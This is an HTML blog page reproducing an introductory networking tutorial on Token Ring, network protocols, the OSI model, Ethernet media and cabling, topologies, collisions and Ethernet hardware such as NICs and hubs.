Token Ring is another form of network configuration. It differs from Ethernet in that all messages are transferred in one direction along the ring at all times. Token Ring networks sequentially pass a “token” to each connected device. When the token arrives at a particular computer (or device), the recipient is allowed to transmit data onto the network. Since only one device may be transmitting at any given time, no data collisions occur. Access to the network is guaranteed, and time-sensitive applications can be supported. However, these benefits come at a price. Component costs are usually higher, and the networks themselves are considered to be more complex and difficult to implement. Various PC vendors have been proponents of Token Ring networks.</div>
<h2 style="background-color: white; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; color: #cc6600; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 12pt; margin: 1em 0px 0px; padding-bottom: 4px;">
Networking and Ethernet Basics<a href="" id="1d" name="1d" style="color: #ff6600;"></a></h2>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Protocols</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
After a physical connection has been established, network protocols define the standards that allow computers to communicate. A protocol establishes the rules and encoding specifications for sending data. This defines how computers identify one another on a network, the form that the data should take in transit, and how this information is processed once it reaches its final destination. Protocols also define procedures for determining the type of error checking that will be used, the data compression method, if one is needed, how the sending device will indicate that it has finished sending a message, how the receiving device will indicate that it has received a message, and the handling of lost or damaged transmissions or "packets".</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The main types of network protocols in use today are: TCP/IP (for UNIX, Windows NT, Windows 95 and other platforms); IPX (for Novell NetWare); DECnet (for networking Digital Equipment Corp. computers); AppleTalk (for Macintosh computers), and NetBIOS/NetBEUI (for LAN Manager and Windows NT networks).</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Although each network protocol is different, they all share the same physical cabling. This common method of accessing the physical network allows multiple protocols to peacefully coexist over the network media, and allows the builder of a network to use common hardware for a variety of protocols. This concept is known as "protocol independence," which means that devices which are compatible at the physical and data link layers allow the user to run many different protocols over the same medium.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
The Open System Interconnection Model</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The Open System Interconnection (OSI) model specifies how dissimilar computing devices such as Network Interface Cards (NICs), bridges and routers exchange data over a network by offering a networking framework for implementing protocols in seven layers. Beginning at the application layer, control is passed from one layer to the next. The following describes the seven layers as defined by the OSI model, shown in the order they occur whenever a user transmits information.</div>
<dl style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; margin-left: 30px; margin-top: 1.2em;">
<dt style="border-bottom-color: rgb(221, 221, 221); border-bottom-style: dashed; border-bottom-width: 1px; color: #333333; font-size: 14px; margin-right: 20px; padding-bottom: 3px;"><b>Layer 7: Application</b></dt>
<dd style="background-color: whitesmoke; color: #666666; margin: 0px 20px 1em; padding: 0.5em;">This layer supports the application and end-user processes. Within this layer, user privacy is considered and communication partners, service and constraints are all identified. File transfers, email, Telnet and FTP applications are all provided within this layer.</dd>
<dt style="border-bottom-color: rgb(221, 221, 221); border-bottom-style: dashed; border-bottom-width: 1px; color: #333333; font-size: 14px; margin-right: 20px; padding-bottom: 3px;"><b>Layer 6: Presentation (Syntax)</b></dt>
<dd style="background-color: whitesmoke; color: #666666; margin: 0px 20px 1em; padding: 0.5em;">Within this layer, information is translated back and forth between application and network formats. This translation transforms the information into data the application layer and network recognize regardless of encryption and formatting.</dd>
<dt style="border-bottom-color: rgb(221, 221, 221); border-bottom-style: dashed; border-bottom-width: 1px; color: #333333; font-size: 14px; margin-right: 20px; padding-bottom: 3px;"><b>Layer 5: Session</b></dt>
<dd style="background-color: whitesmoke; color: #666666; margin: 0px 20px 1em; padding: 0.5em;">Within this layer, connections between applications are made, managed and terminated as needed to allow for data exchanges between applications at each end of a dialogue.</dd>
<dt style="border-bottom-color: rgb(221, 221, 221); border-bottom-style: dashed; border-bottom-width: 1px; color: #333333; font-size: 14px; margin-right: 20px; padding-bottom: 3px;"><b>Layer 4: Transport</b></dt>
<dd style="background-color: whitesmoke; color: #666666; margin: 0px 20px 1em; padding: 0.5em;">Complete data transfer is ensured as information is transferred transparently between systems in this layer. The transport layer also assures appropriate flow control and end-to-end error recovery.</dd>
<dt style="border-bottom-color: rgb(221, 221, 221); border-bottom-style: dashed; border-bottom-width: 1px; color: #333333; font-size: 14px; margin-right: 20px; padding-bottom: 3px;"><b>Layer 3: Network</b></dt>
<dd style="background-color: whitesmoke; color: #666666; margin: 0px 20px 1em; padding: 0.5em;">Using switching and routing technologies, this layer is responsible for creating virtual circuits to transmit information from node to node. Other functions include routing, forwarding, addressing, internetworking, error and congestion control, and packet sequencing.</dd>
<dt style="border-bottom-color: rgb(221, 221, 221); border-bottom-style: dashed; border-bottom-width: 1px; color: #333333; font-size: 14px; margin-right: 20px; padding-bottom: 3px;"><b>Layer 2: Data Link</b></dt>
<dd style="background-color: whitesmoke; color: #666666; margin: 0px 20px 1em; padding: 0.5em;">Information in data packets are encoded and decoded into bits within this layer. Errors from the physical layer flow control and frame synchronization are corrected here utilizing transmission protocol knowledge and management. This layer consists of two sub layers: the Media Access Control (MAC) layer, which controls the way networked computers gain access to data and transmit it, and the Logical Link Control (LLC) layer, which controls frame synchronization, flow control and error checking.</dd>
<dt style="border-bottom-color: rgb(221, 221, 221); border-bottom-style: dashed; border-bottom-width: 1px; color: #333333; font-size: 14px; margin-right: 20px; padding-bottom: 3px;"><b>Layer 1: Physical</b></dt>
<dd style="background-color: whitesmoke; color: #666666; margin: 0px 20px 1em; padding: 0.5em;">This layer enables hardware to send and receive data over a carrier such as cabling, a card or other physical means. It conveys the bitstream through the network at the electrical and mechanical level. Fast Ethernet, RS232, and ATM are all protocols with physical layer components.</dd></dl>
<span style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px;">This order is then reversed as information is received, so that the physical layer is the first and application layer is the final layer that information passes through.</span><h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Standard Ethernet Code</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
In order to understand standard Ethernet code, one must understand what each digit means. Following is a guide:</div>
<div align="center" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
<strong>Guide to Ethernet Coding</strong></div>
<table align="center" border="0" cellpadding="4" cellspacing="1" class="content" style="background-color: white; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; margin-bottom: 5px; width: 461px;"><tbody>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="56"><strong>10</strong></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="386">at the beginning means the network operates at 10Mbps.</td></tr>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>BASE</strong></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">means the type of signaling used is baseband.<strong></strong></td></tr>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>2 or 5</strong></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">at the end indicates the maximum cable length in meters.</td></tr>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>T</strong></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">the end stands for twisted-pair cable.<strong></strong></td></tr>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>X</strong></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">at the end stands for full duplex-capable cable.<strong></strong></td></tr>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>FL</strong></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">at the end stands for fiber optic cable.<strong></strong></td></tr>
</tbody></table>
<div align="center" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
<em><b>For example:</b> 100BASE-TX indicates a Fast Ethernet connection (100 Mbps) that uses a<br />twisted pair cable capable of full-duplex transmissions.</em></div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Media</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
An important part of designing and installing an Ethernet is selecting the appropriate Ethernet medium. There are four major types of media in use today: Thickwire for 10BASE5 networks; thin coax for 10BASE2 networks; unshielded twisted pair (UTP) for 10BASE-T networks; and fiber optic for 10BASE-FL or Fiber-Optic Inter-Repeater Link (FOIRL) networks. This wide variety of media reflects the evolution of Ethernet and also points to the technology's flexibility. Thickwire was one of the first cabling systems used in Ethernet, but it was expensive and difficult to use. This evolved to thin coax, which is easier to work with and less expensive. It is important to note that each type of Ethernet, Fast Ethernet, Gigabit Ethernet, 10 Gigabit Ethernet, has its own preferred media types.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The most popular wiring schemes are 10BASE-T and 100BASE-TX, which use unshielded twisted pair (UTP) cable. This is similar to telephone cable and comes in a variety of grades, with each higher grade offering better performance. Level 5 cable is the highest, most expensive grade, offering support for transmission rates of up to 100 Mbps. Level 4 and level 3 cable are less expensive, but cannot support the same data throughput speeds; level 4 cable can support speeds of up to 20 Mbps; level 3 up to 16 Mbps. The 100BASE-T4 standard allows for support of 100 Mbps Ethernet over level 3 cables, but at the expense of adding another pair of wires (4 pair instead of the 2 pair used for 10BASE-T). For most users, this is an awkward scheme and therefore 100BASE-T4 has seen little popularity. Level 2 and level 1 cables are not used in the design of 10BASE-T networks.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
For specialized applications, fiber-optic, or 10BASE-FL, Ethernet segments are popular. Fiber-optic cable is more expensive, but it is invaluable in situations where electronic emissions and environmental hazards are a concern. Fiber-optic cable is often used in inter-building applications to insulate networking equipment from electrical damage caused by lightning. Because it does not conduct electricity, fiber-optic cable can also be useful in areas where heavy electromagnetic interference is present, such as on a factory floor. The Ethernet standard allows for fiber-optic cable segments up to two kilometers long, making fiber-optic Ethernet perfect for connecting nodes and buildings that are otherwise not reachable with copper media.</div>
<div align="center" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
<strong>Cable Grade Capabilities</strong></div>
<table align="center" border="0" cellpadding="4" cellspacing="1" class="content" style="background-color: white; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; margin-bottom: 5px;"><tbody>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="83"><strong>Cable Name</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="142"><strong>Makeup</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="77"><strong>Frequency Support</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="100"><strong>Data Rate</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="112"><strong>Network Compatibility</strong></td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="83">Cat-5</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="142">4 twisted pairs of copper wire -- terminated by RJ45 connectors</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="77">100 MHz</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="100">Up to 1000Mbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="112">ATM, Token Ring,1000Base-T, 100Base-TX, 10Base-T</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="83">Cat-5e</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="142">4 twisted pairs of copper wire -- terminated by RJ45 connectors</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="77">100 MHz</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="100">Up to 1000Mbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="112">10Base-T, 100Base-TX, 1000Base-T</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="83">Cat-6</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="142">4 twisted pairs of copper wire -- terminated by RJ45 connectors</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="77">250 MHz</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="100">1000Mbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top" width="112">10Base-T, 100Base-TX, 1000Base-T</td></tr>
</tbody></table>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Topologies</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Network topology is the geometric arrangement of nodes and cable links in a LAN. Two general configurations are used, bus and star. These two topologies define how nodes are connected to one another in a communication network. A node is an active device connected to the network, such as a computer or a printer. A node can also be a piece of networking equipment such as a hub, switch or a router.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
A bus topology consists of nodes linked together in a series with each node connected to a long cable or bus. Many nodes can tap into the bus and begin communication with all other nodes on that cable segment. A break anywhere in the cable will usually cause the entire segment to be inoperable until the break is repaired. Examples of bus topology include 10BASE2 and 10BASE5.</div>
<h4 style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 1.4em; margin: 1.3em 0px 0.5em;">
<strong><img align="right" alt="Topology Examples" class="inlineimage" height="507" hspace="5" src="http://www.lantronix.com/images/misc/tutors/tutors_p1-topo.gif" width="291" />General Topology Configurations</strong></h4>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
10BASE-T Ethernet and Fast Ethernet use a star topology where access is controlled by a central computer. Generally a computer is located at one end of the segment, and the other end is terminated in central location with a hub or a switch. Because UTP is often run in conjunction with telephone cabling, this central location can be a telephone closet or other area where it is convenient to connect the UTP segment to a backbone. The primary advantage of this type of network is reliability, for if one of these 'point-to-point' segments has a break; it will only affect the two nodes on that link. Other computer users on the network continue to operate as if that segment were non-existent.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Collisions</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Ethernet is a shared medium, so there are rules for sending packets of data to avoid conflicts and to protect data integrity. Nodes determine when the network is available for sending packets. It is possible that two or more nodes at different locations will attempt to send data at the same time. When this happens, a packet collision occurs.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Minimizing collisions is a crucial element in the design and operation of networks. Increased collisions are often the result of too many users on the network. This leads to competition for network bandwidth and can slow the performance of the network from the user's point of view. Segmenting the network is one way of reducing an overcrowded network, i.e., by dividing it into different pieces logically joined together with a bridge or switch.</div>
<h4 style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 1.4em; margin: 1.3em 0px 0.5em;">
CSMA/CD</h4>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
In order to manage collisions Ethernet uses a protocol called Carrier Sense Multiple Access/Collision Detection (CSMA/CD). CSMA/CD is a type of contention protocol that defines how to respond when a collision is detected, or when two devices attempt to transmit packages simultaneously. Ethernet allows each device to send messages at any time without having to wait for network permission; thus, there is a high possibility that devices may try to send messages at the same time.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
After detecting a collision, each device that was transmitting a packet delays a random amount of time before re-transmitting the packet. If another collision occurs, the device waits twice as long before trying to re-transmit.</div>
<h2 style="background-color: white; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; color: #cc6600; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 12pt; margin: 1em 0px 0px; padding-bottom: 4px;">
Ethernet Products<a href="" id="1e" name="1e" style="color: #ff6600;"></a></h2>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The standards and technology just discussed will help define the specific products that network managers use to build Ethernet networks. The following presents the key products needed to build an Ethernet LAN.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Transceivers</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Transceivers are also referred to as Medium Access Units (MAUs). They are used to connect nodes to the various Ethernet media. Most computers and network interface cards contain a built-in 10BASE-T or 10BASE2 transceiver which allows them to be connected directly to Ethernet without the need for an external transceiver.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Many Ethernet devices provide an attachment unit interface (AUI) connector to allow the user to connect to any type of medium via an external transceiver. The AUI connector consists of a 15-pin D-shell type connector, female on the computer side, male on the transceiver side.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
For Fast Ethernet networks, a new interface called the MII (Media Independent Interface) was developed to offer a flexible way to support 100 Mbps connections. The MII is a popular way to connect 100BASE-FX links to copper-based Fast Ethernet devices.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Network Interface Cards</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Network Interface Cards, commonly referred to as NICs, are used to connect a PC to a network. The NIC provides a physical connection between the networking cable and the computer's internal bus. Different computers have different bus architectures. PCI bus slots are most commonly found on 486/Pentium PCs and ISA expansion slots are commonly found on 386 and older PCs. NICs come in three basic varieties: 8-bit, 16-bit, and 32-bit. The larger the number of bits that can be transferred to the NIC, the faster the NIC can transfer data to the network cable. Most NICs are designed for a particular type of network, protocol, and medium, though some can serve multiple networks.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Many NIC adapters comply with plug-and-play specifications. On these systems, NICs are automatically configured without user intervention, while on non-plug-and-play systems, configuration is done manually through a set-up program and/or DIP switches.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Cards are available to support almost all networking standards. Fast Ethernet NICs are often 10/100 capable, and will automatically set to the appropriate speed. Gigabit Ethernet NICs are 10/100/1000 capable with auto negotiation depending on the user’s Ethernet speed. Full duplex networking is another option where a dedicated connection to a switch allows a NIC to operate at twice the speed.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Hubs/Repeaters</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Hubs/repeaters are used to connect together two or more Ethernet segments of any type of medium. In larger designs, signal quality begins to deteriorate as segments exceed their maximum length. Hubs provide the signal amplification required to allow a segment to be extended a greater distance. A hub repeats any incoming signal to all ports.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Ethernet hubs are necessary in star topologies such as 10BASE-T. A multi-port twisted pair hub allows several point-to-point segments to be joined into one network. One end of the point-to-point link is attached to the hub and the other is attached to the computer. If the hub is attached to a backbone, then all computers at the end of the twisted pair segments can communicate with all the hosts on the backbone. The number and type of hubs in any one-collision domain is limited by the Ethernet rules. These repeater rules are discussed in more detail later.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
A very important fact to note about hubs is that they only allow users to share Ethernet. A network of hubs/repeaters is termed a "shared Ethernet," meaning that all members of the network are contending for transmission of data onto a single network (collision domain). A hub/repeater propagates all electrical signals including the invalid ones. Therefore, if a collision or electrical interference occurs on one segment, repeaters make it appear on all others as well. This means that individual members of a shared network will only get a percentage of the available network bandwidth.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Basically, the number and type of hubs in any one collision domain for 10Mbps Ethernet is limited by the following rules:</div>
<table border="0" cellpadding="4" cellspacing="1" class="content" style="background-color: white; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; margin-bottom: 5px; width: 100%px;"><tbody>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" width="114"><strong>Network Type</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" width="174"><strong>Max Nodes Per Segment</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" width="244"><strong>Max Distance Per Segment</strong></td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;">10BASE-T</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;">2</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;">100m</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;">10BASE-FL</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;">2</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;">2000m</td></tr>
</tbody></table>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
<br /></div>
</div>
<div style='clear: both;'></div>
</div>
<div class='post-footer'>
<div class='post-footer-line post-footer-line-1'><span class='post-author vcard'>
</span>
<span class='post-timestamp'>
</span>
<span class='post-comment-link'>
</span>
<span class='post-icons'>
<span class='item-control blog-admin pid-1967176195'>
<a href='http://www.blogger.com/page-edit.g?blogID=2650295613816833857&pageID=3844622447772180518&from=pencil' title='Edit page'>
<img alt='' class='icon-action' height='18' src='http://img2.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/>
</a>
</span>
</span>
<div class='post-share-buttons goog-inline-block'>
<a class='goog-inline-block share-button sb-email' href='http://www.blogger.com/share-post.g?blogID=2650295613816833857&pageID=3844622447772180518&target=email' target='_blank' title='Email This'><span class='share-button-link-text'>Email This</span></a><a class='goog-inline-block share-button sb-blog' href='http://www.blogger.com/share-post.g?blogID=2650295613816833857&pageID=3844622447772180518&target=blog' onclick='window.open(this.href, "_blank", "height=270,width=475"); return false;' target='_blank' title='BlogThis!'><span class='share-button-link-text'>BlogThis!</span></a><a class='goog-inline-block share-button sb-twitter' href='http://www.blogger.com/share-post.g?blogID=2650295613816833857&pageID=3844622447772180518&target=twitter' target='_blank' title='Share to Twitter'><span class='share-button-link-text'>Share to Twitter</span></a><a class='goog-inline-block share-button sb-facebook' href='http://www.blogger.com/share-post.g?blogID=2650295613816833857&pageID=3844622447772180518&target=facebook' onclick='window.open(this.href, "_blank", "height=430,width=640"); return false;' target='_blank' title='Share to Facebook'><span class='share-button-link-text'>Share to Facebook</span></a><div class='goog-inline-block dummy-container'><g:plusone source='blogger:blog:plusone' href='http://dotnetcode4programmer.blogspot.com/p/networking-basics_22.html' size='medium' width='300' annotation='inline'/></div>
</div>
</div>
<div class='post-footer-line post-footer-line-2'><span class='post-labels'>
</span>
</div>
<div class='post-footer-line post-footer-line-3'><span class='post-location'>
</span>
</div>
</div>
</div>
<div class='comments' id='comments'>
<a name='comments'></a>
<h4>No comments:</h4>
<div id='Blog1_comments-block-wrapper'>
<dl class='avatar-comment-indent' id='comments-block'>
</dl>
</div>
<p class='comment-footer'>
<div class='comment-form'>
<a name='comment-form'></a>
<h4 id='comment-post-message'>Post a Comment</h4>
<p>
</p>
<a href='http://www.blogger.com/comment-iframe.g?blogID=2650295613816833857&pageID=3844622447772180518' id='comment-editor-src'></a>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' width='100%'></iframe>
<script type="text/javascript" src="//www.blogger.com/static/v1/jsbin/2373033623-comment_from_post_iframe.js"></script>
<script type='text/javascript'>
BLOG_CMT_createIframe('http://www.blogger.com/rpc_relay.html', '13713377394748916354');
</script>
</div>
</p>
<div id='backlinks-container'>
<div id='Blog1_backlinks-container'>
</div>
</div>
</div>
